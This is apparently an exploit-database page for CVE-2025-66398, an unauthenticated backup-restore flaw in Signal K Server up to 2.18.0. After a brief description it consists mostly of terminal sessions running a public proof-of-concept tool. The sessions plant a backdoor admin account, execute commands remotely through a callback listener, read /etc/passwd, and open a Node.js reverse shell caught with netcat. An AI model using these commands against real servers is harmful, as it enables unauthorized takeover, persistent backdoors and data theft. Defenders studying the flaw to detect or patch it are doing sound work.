Skip to content
HackIndex logo

HackIndex

CVE-2025-66398:
SignalK Server RCE

Published: Mar 10, 2026
Critical
Shell injection

CVE-2025-66398 is a Signal K Server issue where an unauthenticated attacker can poison the server’s restore state via /skServer/validateBackup, then hijack config via /skServer/restore to inject a backdoor admin account and (optionally) achieve RCE by switching the security strategy to an attacker-controlled Node.js module.

Affected versions: Signal K Server ≤ 2.18.0

Impact (high-level): unauthenticated state pollution → backdoor admin injection → remote code execution (when a restore + restart occurs)

joshuavanderpoll/cve-2025-66398
Signal K Server ≤ 2.18.0 RCE PoC
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-66398
┌──(kali㉿kali)-[~]
└─$ nmap -p $TARGET_PORT --script ./http-signalk-cve-2025-66398.nse $TARGET_IP
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398
joshuavanderpoll/cve-2025-66398
Signal K Server ≤ 2.18.0 RCE PoC
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-66398@latest -target "$TARGET_IP:$TARGET_PORT" -check
                ___ __ ___ ___      __   __ _______ ___
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_ /\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

  [*] Target         : http://127.0.0.1:9360
  [*] Target OS      : linux
  [*] Server header  : Express
  [*] Checking if target is vulnerable to CVE-2025-66398 ...

  [+] Target is VULNERABLE — /skServer/validateBackup accepts unauthenticated uploads.
joshuavanderpoll/cve-2025-66398
Signal K Server ≤ 2.18.0 RCE PoC
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-66398@latest -target "$TARGET_IP:$TARGET_PORT"
                ___ __ ___ ___      __   __ _______ ___
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_ /\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398


  [*] Target set to: http://127.0.0.1:9360
  [*] Target         : http://127.0.0.1:9360
  [*] Target OS      : linux
  [*] Server header  : Express

  [?] Backdoor username to inject [backdoor]: 
  [?] Backdoor password to inject [H4CK1nd3x!]: 

  [*] Phase 1: State Pollution
  [*]   Uploads a malicious .backup file to http://127.0.0.1:9360/skServer/validateBackup
  [*]   Embeds a backdoor admin account (backdoor) into the restore state.
  [*]   No authentication required.

  [?] Continue with pollution? [y/N]: y

  [*] Phase 1 of 3 -- State Pollution
  [*] Backdoor account to inject  : backdoor
  [*] Backdoor password to inject : H4CK1nd3x!

  [*] Hashing password with bcrypt ...
  [*] Uploading malicious backup to /skServer/validateBackup ...
  [+] Malicious zip accepted. Server restoreFilePath is now poisoned.

  [@] -- Next step --
  [@]   Trigger the restore as a logged-in admin (Phase 2), then
  [@]   restart the server so it loads the new config.
  [@]   Once the backdoor account is active, proceed to Phase 3 (RCE).


  [*] Phase 2: Config Hijacking
  [*]   The server must restore from the poisoned backup and then restart
  [*]   before the backdoor account becomes active.

  [?] Do you have admin credentials to trigger the restore now? [y/N]: y
  [?] Admin username: hackindex
  [?] Admin password: H4CK1nd3x!

  [*] Phase 2 of 3 -- Config Hijacking via /restore
  [*] Authenticating as admin: hackindex
  [+] Admin login successful.
  [+] Session token  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
  [*] Triggering restore endpoint with poisoned backup ...
  [+] Restore triggered -- backdoor account written to disk.

  [@] Could not auto-detect the Signal K data directory from restore response.

  [-]   !! A wrong path will BREAK the Signal K server — it will fail to start !!
  [?] Signal K data dir on target (required): /home/signalk/.signalk

  What do you want to do next?
    1) Try exploit     (attempt RCE as backdoor user)
    2) Reboot as user  (trigger server restart via admin creds)
    3) Exit

  [?] Choose [1/2/3]: 1
  [?] Command to run on the server [id]: whoami

  [*] Phase 3 of 3 -- Remote Code Execution (security strategy injection)
  [*] Callback listener started on port 61709.
  [*] Callback host  : host.docker.internal
  [*] Building and uploading RCE payload ...
  [+] RCE zip accepted by server.
  [+] Authenticated as hackindex.
  [+] Session token  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
  [*] Triggering restore with RCE payload ...
  [+] Payload written to disk.
  [*] Restarting server ...
  [+] Server is back online.
  [*] Waiting up to 15 s for command output callback ...

  [+] Command output received:
  ────────────────────────────────────────────────────────────
  signalk
  ────────────────────────────────────────────────────────────

  ⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/cve-2025-66398
joshuavanderpoll/cve-2025-66398
Signal K Server ≤ 2.18.0 RCE PoC
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-66398@latest -target "$TARGET_IP:$TARGET_PORT" -read-file /etc/passwd -admin-user backdoor -admin-pass 'H4CK1nd3x!' -signalk-dir '/home/signalk/.signalk'
                ___ __ ___ ___      __   __ _______ ___
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_ /\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

  [*] Target         : http://127.0.0.1:9360
  [*] Target OS      : linux
  [*] Server header  : Express

  [*] Phase 1 of 3 -- State Pollution
  [*] Backdoor account to inject  : backdoor
  [*] Backdoor password to inject : H4CK1nd3x!

  [*] Hashing password with bcrypt ...
  [*] Uploading malicious backup to /skServer/validateBackup ...
  [+] Malicious zip accepted. Server restoreFilePath is now poisoned.

  [@] -- Next step --
  [@]   Trigger the restore as a logged-in admin (Phase 2), then
  [@]   restart the server so it loads the new config.
  [@]   Once the backdoor account is active, proceed to Phase 3 (RCE).


  [*] Phase 2 of 3 -- Config Hijacking via /restore
  [*] Authenticating as admin: backdoor
  [+] Admin login successful.
  [+] Session token  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
  [*] Triggering restore endpoint with poisoned backup ...
  [+] Restore triggered -- backdoor account written to disk.

  [*] Logging in as backdoor ...
  [+] Logged in.
  [*] Sending restart request ...
  [+] Restart request accepted. Waiting for server to come back up ...
  [+] Server is back online.

  [*] Phase 3 of 3 -- Remote Code Execution (security strategy injection)
  [*] Callback listener started on port 61764.
  [*] Callback host  : host.docker.internal
  [*] Building and uploading RCE payload ...
  [+] RCE zip accepted by server.
  [+] Authenticated as backdoor.
  [+] Session token  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
  [*] Triggering restore with RCE payload ...
  [+] Payload written to disk.
  [*] Restarting server ...
  [+] Server is back online.
  [*] Waiting up to 15 s for command output callback ...

  [+] Command output received:
  ────────────────────────────────────────────────────────────
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
  _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  node:x:1000:1000::/home/node:/bin/bash
  signalk:x:10001:10001::/home/signalk:/bin/sh
  ────────────────────────────────────────────────────────────

  ⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/cve-2025-66398
joshuavanderpoll/cve-2025-66398
Signal K Server ≤ 2.18.0 RCE PoC
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-66398@latest -target "$TARGET_IP:$TARGET_PORT" -shell -lport 4444 -lhost 127.0.0.1 -admin-user backdoor -admin-pass 'H4CK1nd3x!' -signalk-dir '/home/signalk/.signalk'
                ___ __ ___ ___      __   __ _______ ___
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_ /\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

  [*] Target         : http://127.0.0.1:9360
  [*] Target OS      : linux
  [*] Server header  : Express

  [*] Phase 1 of 3 -- State Pollution
  [*] Backdoor account to inject  : backdoor
  [*] Backdoor password to inject : H4CK1nd3x!

  [*] Hashing password with bcrypt ...
  [*] Uploading malicious backup to /skServer/validateBackup ...
  [+] Malicious zip accepted. Server restoreFilePath is now poisoned.

  [@] -- Next step --
  [@]   Trigger the restore as a logged-in admin (Phase 2), then
  [@]   restart the server so it loads the new config.
  [@]   Once the backdoor account is active, proceed to Phase 3 (RCE).


  [*] Phase 2 of 3 -- Config Hijacking via /restore
  [*] Authenticating as admin: backdoor
  [+] Admin login successful.
  [+] Session token  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
  [*] Triggering restore endpoint with poisoned backup ...
  [+] Restore triggered -- backdoor account written to disk.

  [*] Logging in as backdoor ...
  [+] Logged in.
  [*] Sending restart request ...
  [+] Restart request accepted. Waiting for server to come back up ...
  [+] Server is back online.

  [*] Phase 3 of 3 -- Reverse Shell (Node.js socket shell)
  [*] Listener       : 127.0.0.1:4444
  [*] Catch with     : nc -lvnp 4444

  [+] Shell zip accepted by server.
  [+] Authenticated as backdoor.
  [+] Session token  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
  [*] Triggering restore with shell payload ...
  [+] Payload written to disk.
  [*] Restarting server — shell will connect back on module load ...
  [+] Server is back online.
  [+] Server back online. Shell should connect to 127.0.0.1:4444.